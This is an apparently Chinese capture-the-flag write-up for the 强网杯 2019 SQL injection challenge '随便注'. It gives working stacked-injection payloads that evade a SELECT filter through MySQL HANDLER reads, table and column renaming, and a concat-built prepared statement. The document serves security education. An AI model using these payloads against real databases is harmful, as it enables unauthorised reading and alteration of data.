[强网杯 2019]随便注
题目分析
这是一道SQL注入的题目
首先尝试一下万能密码,能够把表里面的东西都输出出来,但是这里面并没有flag。
再尝试查看数据库名字,发现过滤了一些像SELECT
这样的关键词。
但是查看数据库是可以不通过上面那些黑名单中的字符的,比如用extractvalue()
报错注入就能够将数据库名字输出出来。
这里可以看到数据库的名字为supersqli,这里再尝试下监测堆叠注入,输入1';show tables;#
发现存在堆叠注入,而且这里还有2个表,名字分别为1919810931114514和words,再查看第一个表的列名.
可以看到flag就在这个表里面。
绕过SELECT过滤
由于这里过滤了SQL注入中最常用的select
字符串,给我们造成了很大的麻烦,但是这里仍有几个绕过的方法。特别说明:这些方法都需要在堆叠注入可用的情况下才能行得通!
handler
mysql除可使用select
查询表中的数据,也可使用handler
语句,这条语句使我们能够一 行一行的浏览一个表中的数据,不过handler
语句并不具备select
语句的所有功能。用法如下:
handler users open as hd; #指定数据表进行载入并将返回句柄重命名
handler hd read first; #读取指定表/句柄的首行数据
handler hd read next; #读取指定表/句柄的下一行数据
handler hd close; #关闭句柄
因此这里的payload:
';handler `1919810931114514` open;handler `1919810931114514` read first#
替换查询语句中的表和列
首先我们可以看下words表中的列名。
发现又id列和data列,猜测这个表就是存放一开始我们查出来的数据,进一步猜测查询的语句为:
select * from words where id = '$id';
那么我们可以尝试将原来1919810931114514这个表的名字改为words,把flag这个列的名字改为id,这样一来,查询语句实际上查询的内容就是:
select * from 1919810931114514 where flag = '$id';
payload:
1';
RENAME TABLE `words` TO `words2`;
RENAME TABLE `1919810931114514` TO `words`;
ALTER TABLE `words` CHANGE `flag` `id` VARCHAR(100) CHARACTER SET
utf8 COLLATE utf8_general_ci NOT NULL;#
修改成功之后再使用万能密码将表中的内容都输出即可。
Mysql预处理
使用Mysql中的预处理语句拼接出select
字符串进行查询。
payload:
1';PREPARE st from concat('s','elect', ' * from `1919810931114514`
');EXECUTE st;#